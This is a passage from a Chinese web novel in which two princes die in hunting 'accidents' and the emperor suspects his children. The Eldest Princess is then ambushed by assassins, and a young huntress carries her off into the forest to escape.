在场没有人敢贸然出声,长公主也没有开口。她看向二皇子的目光是冷淡的,但面上偏还露出了几分伤心来,不如去岁看着五皇子尸体时的崩溃痛哭,但也没人能指责什么。 过了半晌,老皇帝像是终于回神,推开搀扶他的长公主后上前几步,伸出颤抖的手像是打算亲自去探二皇子鼻息。 只是还不等他探出个所以然来,耳边忽的又传来一阵急促的马蹄声,“踏踏”之声震得地面轻颤,也震得众人心头颤颤——不会吧不会吧,怎么又是这动静,还来?! 狩猎和狩猎是不同的,毕竟这也算是皇家猎场,其他人进入山林大多是单人匹马,再不然约上几个好友组成一队。可皇子公主生来尊贵,自然不能轻易冒险,于是个个带足了侍从。现下又传来这样大的动静,所有人第一个想到的都不会是其他,而是又有哪个皇子回来了? 这要是没事还好,顶多触了皇帝霉头,可要是有事……众人缩缩脖子,不敢想下去。 83☆、第83章 ◎看着仇人倒霉难道不该快意吗◎ 就在众人心头惴惴,暗自祈祷不要再出意外的当口,马蹄声渐近。 长公主收回落在老皇帝身上的目光,转头望去,就见熟悉的侍从服饰从林中急跃而出。她略微垂眸,面上没有露出丝毫异色,但其他人却没有这份镇定。 “是,是六皇子的人。” “六皇子回来了?这么急,不会是出……” 剩下的话被身边人捂住了,免得一不小心被老皇帝听见,恰巧六皇子还真出了事,那可就是平白惹了一身骚了。 接下来的发展就像是情景重现,六皇子的侍从一跑到营地根本来不及看情况,扯着嗓子便喊:“御医,御医呢,快来人,六皇子出事了!” 此言一次,不仅是御医们眼前一黑,周遭的朝臣侍卫也都是一样的感觉。 老皇帝刚失了一个儿子,又听到这噩耗,当即眼前一黑险些栽倒在二皇子的尸体上。所幸身旁侍从反应快,即使搀扶了一把,否则场面只会更加难看。 当然,也有人小心劝解:“陛下别急,这侍从还急着寻御医,六殿下许是没事呢?” 这可不是什么好的安慰词,毕竟先前二皇子的侍从也闹过这么一出。因此直到御医们软着腿上前查看,最后喊出“六殿下还活着”的话,老皇帝提着的那颗心才放下了一半。 其实相较于二皇子,老皇帝还要更偏宠六皇子一些。毕竟二皇子不嫡不长,脾气也不十分好,老皇帝对他一直都是放养的。也是直到大皇子和五皇子双双出事,他才有了崭露头角的机会。而六皇子就不同了,他在很长一段时间内扮演的都是幼子的角色,再加上人嘴甜又会装,自然多得几分偏爱。 不过父子俩心里都很清楚,老皇帝对幼子的那点偏宠,也仅止于私下里多给些钱财珍宝的地步。至于将皇位传给幼子什么的,至少目前来说他没想过,六皇子也是因此才要韬光养晦,才要争。 但不管怎么说,曾经宠爱过的小儿子出了事,老皇帝还是很着急的。他也顾不上已经没救的二皇子了,连忙在侍从的搀扶下起身,急急往六皇子那边走去——只要六皇子能够保住小命,哪怕瘫了残了都不要紧,反正皇家养得起! 老皇帝这样想着,自觉已经做好了心理准备,可等走到近前看清状况,还是忍不住眼前一黑。 侍从还在和御医说明情况:“我们遇见了狼群,侍卫护送着殿下离开时马受了惊,殿下被疯马颠了下来,还被踩了一脚。我,我们已经尽快将人送回来了……” 众人听明白了事情始末,心里免不了生出阴谋论的同时,也得叹一声六皇子倒霉——狩猎时遇到猛兽惊马的情况不是没有,坠马也不是什么稀罕事,被马踩到了只能说躲得不够快。可六皇子倒霉就倒霉在别人被踩断个手啊脚啊的,都还有救,偏他倒霉被踩到了肚子。 有眼尖又胆大的人上前偷瞧了一眼,就见御医已经解开了六皇子的衣衫替他治伤。人是还没死,可肠子都被踩断了,那血腥的场面看得人头皮发麻,只怕今晚就要做噩梦了。 老皇帝在御医掀开六皇子衣裳露出伤口的时候终于撑不住了,眼前一黑,彻底晕倒过去。 于是本就不多的御医立刻又分了大半过去救皇帝,众人七手八脚的把老皇帝抬走了,六皇子这边反倒没多少人留下。也不敢多留。 长公主自然是跟着老皇帝离开了,临走前回头瞥了昏死过去的六皇子一眼,收回目光时终究没能忍住眼底一闪而过的快意——二皇子只是个脾气暴躁的莽夫,可六皇子就是藏在暗处咬人的毒蛇了。要说五皇子那事究竟是谁的主意,九成是六皇子挑拨的,剩下一成才可能是二皇子一拍脑门做的决定。 因此长公主恨这两人,想让他们死。可真要论起来,二皇子那样死的干干脆脆,也好过六皇子这样垂死挣扎……她没和夏时提过这样的要求,显得太恶毒也太为难人。但或许是巧合,也或许是唐奕和她说了什么,总之最后的结果长公主是很满意的。 要是六皇子真的命大没死还能救回来,她也不觉失望。毕竟这样的重伤就算是救回来,也不过是痛苦一辈子罢了,皇位也必定与之无缘了。 ****************************************************** 三皇子和四皇子是在日落时才回到营地的。 两人运气不错,不是长公主的目标,而且恰好去往的方向与二皇子等人相反,没受到半点牵连不说,甚至也没听到半点动静。 他们领着侍从痛痛快快打了一天的猎,直到天色将晚才踩着点走出猎场。 双方在猎场入口遇见,还互相闲聊了几句。各自显摆了一下此行收获,倒也不提夺魁一事——讲真,那么在意在狩猎上夺得头魁的,其实也就二皇子一个,谁叫他是武夫呢?其余皇子虽然也想得老皇帝另眼相待,但也懒得和他争,索性就顺其自然了。 三皇子还和四皇子笑言:“二哥说今岁要猎虎,扒了虎皮送给父皇做垫子。在这方面他向来说到做到,咱们是沾不上虎皮的光了,不过虎肉今晚大概是能吃上些的。” 诸皇子在朝堂上争得你死我活,朝堂之外倒也没有那么重的火药味——这也是老皇帝希望看到的,每个皇帝夺位的时候都是不择手段的,可等他们当了皇帝,又偏爱看自己的儿子们兄友弟恭。于是皇子们也会默契的配合表演,三皇子这话也就不显得突兀。 四皇子果然很快接话:“那还是二哥厉害,我也就猎个鹿啊獐子啊之类的,虎肉还得靠他。” 两人领着侍从,浩浩荡荡回到了营地,已经做好了看见二皇子得意炫耀的准备。可哪知真出了猎场才发现营地里一片安静,人都快走光了,全不似往年热闹。 两位皇子不由对视一眼,齐齐愣在原地,又抬头看看天色,他们也没回来很迟啊。 好在侍从们很快就从留守的羽林那儿打听到了消息,只是回来一禀报,三皇子和四皇子又给听愣了——这是什么天降馅饼?一场狩猎送走两个劲敌,再加上去年送走那俩,现在还能站在朝堂上争斗的成年皇子可就只剩下彼此了! 想到此,三皇子和四皇子看向对方的目光都不由微妙起来。两人几乎是下意识的扯了扯缰绳,将原本靠得极近的距离一下子拉开了许多。 两人心里有着同样的想法:这鹤鸣山猎场又不是什么皇子墓地,专逮着皇子祸害,两年废了三个,不用想都知道肯定有人使了手段。虽然看老二和老六的样子,很像是安平在复仇,但说不准就是对方借着这由头趁机动的手呢?这下手也太狠了,还是远着些好。 其乐融融的气氛瞬间不在,好在此刻也没人还顾得上计较这个。 两人很快整理好了思绪,接着赶紧催马赶回行宫——老二和老六死了就死了,正好少个竞争对手。可父皇因此病倒了,这不正好是他们刷孝心的好时机吗,哪能让对方抢了先? 于是两只队伍快马加鞭,一路紧赶慢赶跑回了行宫。到了地方一看,满朝文武还在皇帝寝殿外等着,原是人送回来后至今未醒。 不过这也不妨碍他们表现,三皇子当即嚎了一声“父皇”,冲进了寝殿。 四皇子见状不遑多让,偷偷掐了自己一把逼出点泪光,也紧跟着冲了进去。 寝殿里,太医还围在龙榻边忙活,百官自然不便近前,便只有长公主领着几个公主守着。直到两个皇子哭嚎着跑了进来,才打破了殿中沉重的气氛。 长公主见状也没阻拦,相反还主动让开了床边的位置,方便两人直接扑到了龙榻前。 三皇子和四皇子都没空注意她,趴在龙榻边瞧着老皇帝昏睡的模样,一个嚎得比一个大声,不知道的还以为对方已经驾崩了呢。最后还是太医看不下去了,小声提醒了一句:“陛下惊痛晕厥尚未清醒,二位殿下还是小声些好,免得惊扰了陛下。” 两人哭声当即一顿,也都不是傻子,只不过突然被馅饼砸中一时有些昏了头,才在攀比之下行为欠妥。现在清醒过来,两人当即收了哭声抹了脸,再理理衣裳,又一幅彬彬有礼模样。 三皇子轻咳一声,问太医:“父皇如何了,何时能够醒来?” 四皇子想了想,表现出兄友弟恭:“还有老六呢,他……救回来了吗?” 太医自然不能把皇帝的身体状况随便和皇子说,便只道:“陛下无碍,只是一时惊痛,休息休息缓过来就好了。至于六殿下,臣尚未得到消息,应是还好。” 这句“应是还好”就很微妙,众人心知肚明,六皇子那状况再好也就是活着。 三皇子和四皇子也不由想起了羽林的说法:六皇子坠马被踩破了肚子,肠子都断了,十分凶险。 兄弟俩想到这里齐齐打了个哆嗦,终于想起了殿中被他们有意忽视的那人——长公主低眉垂首立在一旁,面上无悲无喜,仿佛今日的意外都与她无关。 可即便是真的无关,看着仇人倒霉难道不该快意吗? 还有,被苛待了二十年的嫡女,此时难道又能真的这般忧心君父? 装,都是装的!自从老五死了,安平的心思就再没人能看得透,可怕得很! 【作者有话说】 三、四皇子(瑟瑟发抖):这位姐如此心狠手辣,下一个挨刀的不会是我吧 长公主(低眉垂目):好烦,到底什么时候能走 84☆、第84章 ◎眼前就有一道寒光闪过◎ 老皇帝这一昏倒就是大半日,醒来时已经是半夜了。 几位皇子公主自然没有走,文武百官也都在寝殿外候着。直到听见老皇帝醒来无碍的消息,百官们这才放了心,得了旨意后陆陆续续离开。 除了长公主以外的几位公主也一样,见父皇无碍,很快便带着满身的疲乏困倦离开了。 不得不说,老皇帝身体底子是不错的,今日连失两子的打击虽大,也让他激动昏厥,可醒来之后却是很快恢复了精神。在内侍的搀扶下,刚醒来的老皇帝很快半座起来,接着凌厉的目光便扫向了仍旧留在殿中的几个儿女,尤其是长公主。 去岁五皇子在猎场遇害,老皇帝其实也有下令查过,只是当时并没能查出什么确切的证据来。当然明眼人也都看得出来,会对五皇子这个嫡子出手的,无非就是那几个皇子。 老皇帝心知肚明,但五皇子已经死了,而且他本身也不得帝王宠爱,于是这事便被轻轻放过了。 可今时今日,二皇子和六皇子同一天在猎场中出事,内里的勾当同样也瞒不过老皇帝的眼睛。而现在唯一的问题是这次究竟是谁出的手——长公主为弟弟报仇自然是动机充分,可也因为太充分了,让人不得不怀疑其他可能。比如老三老四看到老五就那么轻易的死了,或许会生出在□□上消灭敌人,比起和兄弟们在朝堂上明争暗斗更方便,效果也更佳? 当然,老皇帝心里是觉得这般粗暴的想法很蠢,可难说他的儿子里会不会真有这样的蠢人?甚至不止是三、四两个皇子,还没成年的几个小的,也未必不会生出让兄长们腾位置的心! 刹那间,老皇帝想了很多,心里有万千个念头飞快闪过。 不过做了多年皇帝的人,最基本的喜怒不形于色自然是做得极好了。他心里有无数猜忌,面上却都不显,直到突然怒喝一声:“都给朕跪下!” 此言一出,最先跪倒的就是周遭的宫人,紧接着三皇子和四皇子也在父皇的威压下跪了。长公主则是早有所料一般,依旧低眉垂眼不见惧色,膝盖一弯便跪了下去。 三皇子最先反应过来,开口喊冤:“父皇明鉴,今日之事实在与儿臣无关啊。” 四皇子听了也连忙接话:“儿臣也一样,出事时儿臣还和三哥在林子里打猎呢,回来才知道出事了。” 老皇帝听到两人的辩解,也不知信没信,目光一转便落到了长公主身上。他眼中似乎有深切的怀疑,沉沉的威压几乎要将那单薄的女郎压垮。 长公主脊背却是挺得笔直,不卑不亢的开口:“事情究竟如何,还请父皇派人详查。” 她尤其咬重了“详查”两个字,像是想通过这种方式证明自己的清白,但在场之人却都从中品出了几分讥诮来——去岁五皇子出事,查是查了,最后却是不了了之,这自然是老皇帝的一种态度。如今两位皇子出事,也不知老皇帝又该拿出何种态度对待? 老皇帝没接话,目光锐利的盯着长公主瞧了好一会儿,都没在她脸上看到半点心虚。但因对方的态度,老皇帝心中还是生出了许多不喜来。 半晌,他收回目光,看想一旁的内侍总管:“梁忠,派人去查,细细的查!” 梁忠当即领命而去,事实上早在老皇帝醒来之前,就已经有人在查这事了。两位皇子身边的侍从已经挨个被审问过,猎场中的事发之地也有人去看过。可不论是临死反扑的老虎,还是被狼群追击受伤的马,身上都没有被下药的痕迹。 粗略看来,这两桩惨事似乎都是意外。不过老皇帝既然下令彻查,下面的人自然又用另一种态度对待,别的不说,将整个猎场翻一遍都不是问题。 长公主和三、四皇子都明白这个命令的分量,前者依旧不为所动,后者看上去还偷偷松了口气的模样。 老皇帝将这些都尽收眼底,可他心里依旧没能做出判断——不为所动不代表与此无关,也不代表心安理得,松口气的样子更像是装模作样。 想了一阵,老皇帝还是觉得头疼,索性决定等调查之后再谈其他。 他抬手揉了揉额角,正要遣退几人好好休息,忽的一个内侍急匆匆从殿外奔来。他脸上本就带着几分惊慌,一进寝殿看到跪了一地的人,顿时更加惶恐,腿一软就跪倒在地,嘴里的话也失了分寸:“陛,陛下,不好了,六,六皇子薨了。” 寝殿内一片死寂,没人敢抬头去看老皇帝脸色。 可事实上老皇帝脸上只有一片平静,半点老年丧子的悲色也看不到——之前在猎场外的昏倒,已经用尽了他的情绪,现在他只是个冷酷的帝王。相较于六皇子是苟延残喘,还是没拖过今夜,他更想知道的是究竟是谁动的手? 打破规则的人总是令人忌惮的,今日既敢连害两名皇子,焉知来日不会冲着君父下手?! **************************************************************** 避暑行宫一行,刚开了个头就连折两个皇子,不说对朝中势力的影响,行宫的气氛也变得紧绷起来。尤其是在老皇帝派人将整个鹤鸣山都翻了一遍,却依旧没查到线索后,周身的气压更是比刚死了儿子时还要更低上几分。 没办法,查来查去,二皇子和六皇子的死都想是意外。除了狼群包围有点奇怪之外,其余无论是二皇子打虎被反杀,还是六皇子坠马,都不像是有人为动手的痕迹。 甚至再将调查的时间往前放,几位皇子都曾派人来鹤鸣山上查看过情况,只为狩猎做准备。相比之下长公主甚至都没派人来过猎场,要说是她动的手,这临时设陷阱连杀两人,也太冒险了些。更何况还没留下丝毫痕迹,怎么看都让人觉得不可能。 老皇帝理智上明白这一点,可心中的怀疑还是没有消失,依旧一视同仁的审视着几个儿女。 又过几日,二皇子和六皇子的尸身收殓得差不多了,自然不能一直停放在行宫里,也没道理让老皇帝这个当爹的给儿子守灵。正好老皇帝看几个儿女不顺眼,也不想让他们在跟前碍眼,于是干脆下令让长公主和三、四两位皇子一起护送兄弟的灵柩回京。 长公主也不在意,随意领了差事,回去便召集人马做好了离开的准备——这其中夏时是最高兴的,她来到长公主身边好些天了,还以为得避暑结束之后才能回去。做好了两三个月见不到楚棠的准备,现在能提前回去见老婆,自然是高兴不已。 三皇子和四皇子则是期期艾艾,一点都不想离开。一来是怕路上再出事,步了老二和老六的后尘,二来他们也怕君父多心,从此恶了自己。 可不论几人怎么想,到了日子还是得老老实实领着人,护送灵柩归京。 避暑行宫距离京城二百来里,快马加鞭一日可达,但要算上马车,再算上护送灵柩的队伍,这就不是一天时间能走完的路了。 皇子公主们倒是不怕路途辛苦,几人都有符合身份的豪华车驾。夏时就跟着长公主看过一眼她的马车,五匹马拉着的华丽车厢很是宽敞,里面不仅桌椅床榻一应俱全,甚至还分了隔间让侍女待着等候吩咐。活像是间小房子,在外露营直接睡在马车上也是舒适无比。 三皇子和四皇子的车驾自然也是一样,不过两人嫌马车里憋闷,来时一路都是骑马走在队伍里的。倒是这次回返,两人都一反常态待在了马车里。 长公主的人眼尖,还看到几个文士装扮的人跟着进了马车,不用猜也知道应是两位皇子的幕僚。只不知他们要商议何事,居然连路上这点时间也等不了,急匆匆就将人招进了马车说话——马车隔音不好,很容易泄露谈话,但可惜的是长公主也没在两人身边按探子,让自己的人明目张胆去偷听也是不可能的。 对此,长公主倒也没怎么在意,反正她没带萧晏书来行宫,马车里也只她一人坐着。 蹄声踏踏,马车不疾不徐向着京城方向驶去,直到傍晚天色将暗,才有随行的护卫来到车驾前禀报:“殿下,天色不早了,夜间恐无法行路。前方有片地方适合安营,又或*者在行半个时辰有处驿站,如何安置还请殿下做主。” 声音传入车厢里,长公主亲自掀开车帘露了面,却是眉头微蹙:“你来问我?” 那护卫看着是这支队伍的统领,闻言面露几分尴尬,还是说了:“回殿下,卑职已问过三殿下和四殿下了,二位殿下皆言此行由公主做主。” 长公主闻言一点没觉得两人是对她敬重,更不在意护卫统领的做法。她不知想到什么,忽的嗤笑了一声:“也罢,再走天就黑了,我等路上颠簸倒没什么,总不好让人身后不得安宁。就在此处驻扎吧。” 护卫统领假装什么都没看见,领命而去,队伍行不多远果然就到了一片适合临时驻扎的空地。 这支队伍人数不多也不少,只一二百人,大多是三位皇子公主的侍从,羽林基本上留在了行宫继续护卫皇帝。不过这些人手也够用了,浩浩荡荡一支队伍又打着皇家旗号,没谁敢来冒犯。 至于大夏天露宿在外倒也没什么大问题,众人此行也带够了干粮,这时掏出来随便就能糊弄肚子。唯一需要担心的是夜间遭遇野兽袭击,提前做些布置,再安排人守夜就没什么问题了,一切都井井有条。 夏时骑了一天的马,倒也不觉得如何疲累,队伍停下之后她还去附近的林子里转了一圈。可惜没遇见山鸡野兔之类的可以打回来加餐,不过她倒是顺手薅了些驱蚊的药草,准备晚些时候点来驱蚊。不然在荒郊野外睡一个晚上,山里的蚊子能把人咬得回去亲娘都不认识! 她便薅了不少驱蚊草,回到营地后就给长公主送了过去,站在马车车厢外说道:“殿下,这山里的蚊子都毒,我摘了些驱蚊的药草回来,一会儿在马车周围熏上一熏,晚点会好不少。” 长公主其实不缺熏香,驱蚊的也有,还比夏时随便摘的驱蚊草好闻。 不过对方一片好意,长公主又觉得这人可用,自然不会拒绝,便掀开车帘说道:“有劳……” 哪知她话还没说完,忽然就被车厢外的夏时伸手推了回去,用力太大以至于长公主都没能坐稳,直接跌倒在了车厢里。不过还不等她恼怒,眼前就有一道寒光闪过,紧接着“笃”的一声传入耳中。 85☆、第85章 ◎她还不知道什么时候才能见到老婆◎ 队伍停下扎营时,天边的太阳已经落下了地平线,只余一片灿烂的火烧云散发最后的余晖。 众人又是安营扎寨,又是啃干粮填肚子,夏时还去林子里逛了一圈薅驱蚊草,回来时便已是暮色四合。眼看着天色黑了下来,众人也赶了一天路,自是有几分疲惫的。再加上此处距离京城不远,想也知道不可能有什么山匪之类的危险存在,因此各个神经都松懈了下来。 可就在这时,一支突然飞来的羽箭打破了平静。箭矢射在长公主马车里发出的那“笃”的一声震响,不仅将倒在马车里的长公主吓了一跳,马车外的营地也一下子炸了锅。 “有刺客,快,快保护殿下!” 有人高喊了一声,然后这支送灵队伍一下子就变得泾渭分明起来。属于三位殿下的人马立刻各自散开,护在了自己的主人跟前,长公主的马车外也一下子多了几十个护卫把守。 可紧接着并不是刺客冲出来袭击,而是一片箭雨袭来,送灵队伍里显然不可能有人带盾牌。 夏时一见这场面,立刻扒住马车车窗,身形灵巧的直接从那不大的车窗里翻了进去,然后迅速一个反手将车窗关了起来。几乎就在下一刻,“笃笃”的闷响便从车厢外传来,密集得像是雨点砸落,夏时抵着车窗的手臂只感觉一阵震颤传来,震得她心头有点慌。 小猎户再是本事,说到底也只是个底层出身的猎户。她面对过虎豹豺狼,经历过兽口凶险,但这样被箭雨齐射的大场面她是真没见识过。 尤其她躲进了长公主的马车,外面的护卫却没处可躲,接连传来的惨叫声更是挑战人的神经。 夏时一时有些无措,手忙脚乱的将窗户插好,这才回头看向长公主——早先被她推到躲箭的长公主这会儿早已经坐起来了,恢复了往日的镇静仪态不说,她甚至伸手拔出了射入车中的那支箭矢。而后垂眸看着那箭,脸色有点沉。 不过不管怎么了,长公主脸上不见惊慌,夏时的心也跟着安定了不少。 她又往马车外看了一眼,先前那波箭雨刚过去,新一波的箭雨又开始了,车厢依旧被射得“笃笃”作响,直让人担心它什么时候撑不住:“殿下,现在咱们怎么办?” 长公主终于收回了目光,手中的箭矢也被她随手弃了:“先等。本宫这车厢看着不起眼,却是上好的硬木所致,抵挡箭矢的话再射个七八轮也射不穿。” 但显然,刺客不可能有连射七八轮的时间,外面那些护卫又不是死人干站着挨射,必然会有人设法破局的。再不然真等射过七八轮,刺客带来的箭矢也就该用完了,反正也伤不到车内人分毫。 夏时闻言先是松了口气,但紧接着又从这话中觉出几分冷酷来——长公主躲在车中自然安全无虞,可外面的侍卫却是时时刻刻面临生死的。虽然这也是对方的职责所在,但夏时此行也是充作护卫跟在长公主身边的,作为其中一员,她不免会想自己没能趁机翻上马车的后果。 这般想着,夏时便觉眼前近在咫尺的公主其实远在云端。她下意识往后缩了缩,距离对方远些,又不敢贴近车厢,生怕有箭射穿车厢扎她身上。 就这样,在莫名紧绷的气氛中,夏时数着动静熬过了第三轮箭矢。 她听得仔细,因此很快分辨出这次射在马车上的箭矢数量明显比之前两轮少了许多。应该是有人打破了局面,也不知稍后还会不会有第四轮箭射过来? 答案是没有,夏时守在车厢里等了好一会儿,都没再听到箭矢射在车厢上的“笃笃”声。 同样在等待的长公主显然也发现了,她抬眸看向车厢外,当机立断的下令道:“开点窗,看看外面现在什么情况?” 夏时听令将车窗打开了一条缝,往外一看,就见暮色下长公主的侍卫和身着黑衣的刺客战在了一处。视野再放远一些,夏时却发现先前停着三皇子和四皇子马车的地方,现在已经空了,护卫也不在,两人显然已经提前跑了。 倒是二皇子和六皇子的灵柩还停在原处无人问津,不过之前多多少少也被箭雨波及,一眼看去上面乱七八糟插着几支箭。伤害性没有,就是看着莫名凄凉。 飞快看清情况后,夏时赶紧将车窗关上,扭头冲长公主说明了情况,末了道:“我看刺客人数不少,护卫之前又在箭雨中多有折损,恐怕难以抵挡。” 长公主闻言脸色沉沉,却干脆下令:“那就弃车,走!” ********************************************************************** 夜色掩映之下,夏时一手拉扯着长公主,一手拨开山林间的杂草,带着人在荒野中疾行。 送灵队伍虽然有三位殿下同行,但长公主显然是被针对了——队伍停驻之后,长公主车前的五匹马就被卸下车驾牵去休息了,这也是她们躲在马车里既没有趁机离开,也没有遭遇惊马的原因。可三皇子和四皇子的马车显然没有,所以他们才能趁机驾车离开。 除此之外,长公主的侍卫也被刺客重点纠缠,以至于抽不出人手来护送长公主离开。甚至就连那几匹被牵走的马也不知所踪,导致长公主想要逃命都寻不到坐骑。 这也是两人被迫在林中狂奔的原因,可身后的追兵不断,长公主在奔跑中却渐渐失了力气。 夏时只觉得拽着的那只手越来越沉,拖着她脚步也不由慢了下来,寂静的夜色中,耳边尽是长公主沉重的呼吸声……夏时听动静就知道对方大概已经快到极限了,只是却未曾开口求助。 又跑了几步,长公主沉重的脚步终于被看不清的障碍绊倒,重重跌落下去。只是她还没来得及和大地接触,就被手腕上传来的一股大力提了起来。 夜色中,她听见夏时说了“得罪”,紧接着便是一阵天旋地转。 等长公主喘着粗气终于回过神来,这才发现自己正脑袋朝下,被人扛在了肩头。对方肩膀还十分瘦削,骨头抵在她肚子上,硌得她一阵难受。 长公主一辈子没被人这样对待过,换个时候才不会管夏时是谁,必定是要治罪的。可现下是逃命的当口,她甚至不敢将人叫停换个姿势再跑——跑着跑着她也发现了,这样扛着自己跑并不会妨碍对方行动,夏时还能腾出只手来开路。 察觉到对方扛着自己越跑越快,长公主便也压下了一切反抗的情绪。不过她或许不知道,夏时之所以扛着她跑得那么顺,其实是因为她习惯扛着猎物这么跑了。 甚至长公主那百来斤的体重对于夏时来说,还没有一头鹿重。 小猎户在不熟悉的山林中,同样跑得灵巧非常,借着天边不甚明亮的月光,一步都不曾行差踏错。长公主被她扛在肩头,只觉得耳边风声呼呼,也不知过去多久,身后再没有动静。 如是又跑了一阵,夏时才渐渐放慢了步伐,直到一棵大树后停下。 她将长公主放了下来,又小心查看身后动静,压低声音说道:“殿下,那些刺客好像甩掉了。” 长公主来不及对她的话做出回应,摆摆手冲去一旁,没忍住吐了——被抵着肚子扛了那么久,也是她足够能忍,否则早吐在夏时身上了。 夏时见状有些悻悻,她就是扛猎物扛习惯了,当时一个顺手,忘了可以把人背着……好吧,她也不是很想背人,目前她背过的人也只有她老婆而已。 她在身上左掏右掏,居然掏出只水囊递了过去:“殿下,漱漱口。” 长公主接了水囊,狼狈的收拾完,只觉得身心俱疲,走开几步扶着树干坐了下去。 夏时也凑了过去,蹲在长公主身边:“殿下,咱们现在怎么办?要不要再跑远一些?还有这京郊附近您熟悉吗,我一通乱跑,现在也不知跑到哪儿了。” 长公主缓了口气,觉得很惊奇。从遇袭出逃到现在,夏时跑了快一个时辰,尤其后来还是扛着自己跑的,她就不觉得累吗?听这声音,居然还神采奕奕的。 夏时等了半天没等到回应,不由再小声喊了一句:“殿下?” 长公主又缓了缓,便扶着树干重新站了起来,声音里半点听不出虚弱:“走,此地不宜久留,那些刺客会找过来的。你熟悉山林,带着我走,不必考虑回京的事。” 夏时闻言不明所以,在她想来这里距离京城不远,以长公主的身份当然是尽早赶回京城更安全。可长公主既然说不回去,她当然也不会反驳,答应一声就要上前领路。 黑暗中,长公主沉默一瞬,到底还是撑不住发抖的双腿,开口下令:“你背我走。” 夏时不太情愿,但还是转身回来,蹲下身背起长公主,再次行走在山林之中。只不过她习惯了往深山跑,背着长公主越走越偏,距离遇袭的官道也是越走越远。 这真是糟糕的一天,她本想着明天就能回京,到时候和长公主告辞一声就能去别院见楚棠的。现在这样,长公主又说不急着回京,她还不知道什么时候才能见到老婆……所以到底是哪个糟心玩意儿派来的刺客?这么大张旗鼓的刺杀,是真当行宫里的老皇帝死了吗?! 86☆、第86章 ◎是死是活,她得知道个清楚◎ 老皇帝自然没有死,相反死了两个儿子也没有太影响他的心情。等送灵队伍离开之后,他还照常过着他的自在日子,好像当初因为两位皇子遭遇而悲痛昏厥的人不是他一般。倒是一班大臣这些天都过得战战兢兢,生怕一个不小心就触怒了皇帝。 可千防万防,管得住自己管不住别人,老皇帝还是怒了。 “砰”的一声脆响,是老皇帝摔碎了手边的茶盏。旋即就见他暴怒起身,喝问面前传信的侍卫:“你说什么?送灵队伍半路遇袭了?!” 那侍卫一脸的血,跪在皇帝跟前,被飞溅的瓷片划伤了也不敢躲:“回陛下,送灵队伍遭遇刺客袭击,三殿下和四殿下负伤脱逃,长公主……长公主不知所踪。” 这种时候不知所踪可不是什么好消息,有刺客追杀,长公主又是个弱质女流,荒郊野外的哪里跑得过哪些刺客?而退一步说,长公主失踪也是失去了话语权,这种敏感的时候,说不得就要有人往她身上泼脏水了,说她自导自演什么的。 不过老皇帝这会儿可考虑不到这些,对于三个儿女的情况也不甚上心,真正令他愤怒的是刺杀这件事本身——是他下令让几个儿女送灵柩回京的,也是他收束人手,不肯派羽林同行。结果就这一两天的路程,京郊之地天子脚下,生生闹出了一场刺杀! 这事落在老皇帝眼里,和打他的脸有什么区别?! 老皇帝气得在宫殿里转来转去,旋即下令道:“查,派人去细查,这次要再查不出什么来,就让刑部和大理寺的人统统辞官回家去,朝廷可不养废物。再令三千羽林沿途搜查,务必要寻到安平。”说到这里略微一段,还是加上一句:“生要见人,死要见尸。” 最后这句话出口,老皇帝心里也不是半分触动没有的。毕竟短短时日他已经失了两个儿子了,要是再没一个女儿,再是铁石心肠也有些遭不住。 当然,就算殿中的人听出了老皇帝话语中情绪的变化,也没人敢出言安慰,只赶紧领命而去。 …… 老皇帝下了死命,刑部和大理寺的人当然不敢怠慢,事情调查起来就很快。 当天老皇帝就得到了不少消息。比如遇袭之地,死的大半是长公主的护卫,而三、四两位皇子却是早早脱身。又比如两位皇子虽然受伤,但伤势都不重,这倒也可以用他们脱身及时做借口。再比如长公主的情况可能比预计更糟,因为她的侍卫大多在营地战死,护送她逃走的人也陆续遇害,清点人数之后发现跟在她身边的人只剩一个侍卫,还未必跟到了最后。 堂堂长公主,天潢贵胄,如今流落山林会是怎样的狼狈简直让人不敢深想——山林里有什么?山林里有豺狼野兽。长公主身后有什么?长公主身后有无尽追兵。 这怎么看都像个死局! 皇帝虽老,但还没到耳聋眼花,头脑昏聩的年纪。不必刑部和大理寺的人再细细调查证据,光看这场刺杀中三个儿女的不同遭遇,幕后主使几乎已经是不言自明。 蠢,真是蠢,一个公主而已,值得他们这样费尽心思的去杀吗?! 老皇帝怒气冲冲,恨不得两个儿子就在跟前,他能一脚一个踹翻他们。可有些事又免不得让人深想——老三老四虽然不够聪明,但好端端的如何就要对安平下此重手?是他们觉得安平挡了他们的路,还是老二老六的事让他们警醒,决定先下手为强? 事情仿佛一下子变得扑朔迷离起来。可话又说回来,猎场的事未必就是安平做的,老三老四所以为的,也不一定是就是真相……就老三老四表现出的蠢样,想错了或者被人利用,似乎也不稀奇。 老皇帝闭了闭眼,忽然再次下令:“再加派些人手,都去找人。” *************************************************************** 回到山林的夏时就像是回了家,哪怕京郊这片地方她并不熟悉,但这也不妨碍她在山林中过得如鱼得水。即便带上长公主这样大的一个累赘也一样。 清晨,阳光洒落林间,夏时是在一棵大树上醒来的。 昨夜她带着长公主逃命,后者又拒绝立刻回京,于是她便只好将人往深山里带。但即便是惯在山林中行走的猎户,背着人跑了大半夜也是会累的。再加上她在山中绕着圈,早把追兵甩得不知所踪,最后便选定了这棵茂盛的大树作暂时的修之地。 夏时昨夜就借着夜色观察过了,这棵大树上枝叶茂盛,藏身其中在下面基本上不可能看到。长久暂且不提,只作个临时藏身处却是足够了。 于是后半夜的时候,夏时就背着长公主上了树。她寻了根粗壮的树枝让长公主落脚后,自己也另找了根树枝靠着睡了一觉。而这一觉就直接睡到了天亮,期间没听到什么特殊的惊动,想必那些追兵也没本事在黑夜里寻到踪迹追踪而来。 夏时睁开眼,眼前就是层层叠叠的绿色枝叶。清晨的朝阳斜斜照射过来,也没能穿透这厚实的树叶,只隐约漏过一两块光斑,刚好照到夏时脸上。 她眨了眨眼回神,这才想起昨夜的遭遇,赶忙扭头去找长公主。 和夏时的大胆不同,长公主显然没办法在高空处靠着一根树枝好眠,尤其还有追兵不知道什么时候就会追过来。她几乎一夜未眠,坐在树枝上一动都不敢动。 夏时看过去时,看到的就是长公主僵硬的坐姿,她愣了愣问道:“殿下,您醒了?” 长公主这才有了动作,缓缓扭过头时,脖子都像是僵硬的,就更别提她熬了一夜眼底也泛着青黑……夏时只是心大,又不是傻,自然一眼看出了长公主状态不佳。 她挠了挠头,有心想要说些什么,可长公主这样的天潢贵胄不习惯睡树上似乎也是正常的,是她考虑不周。于是夏时很诚恳的道了歉:“对不起殿下,是我考虑不周,我该寻个更合适的落脚地。”说着就往树下看:“要不咱们还是先下去,我再找个地方让您休息?” 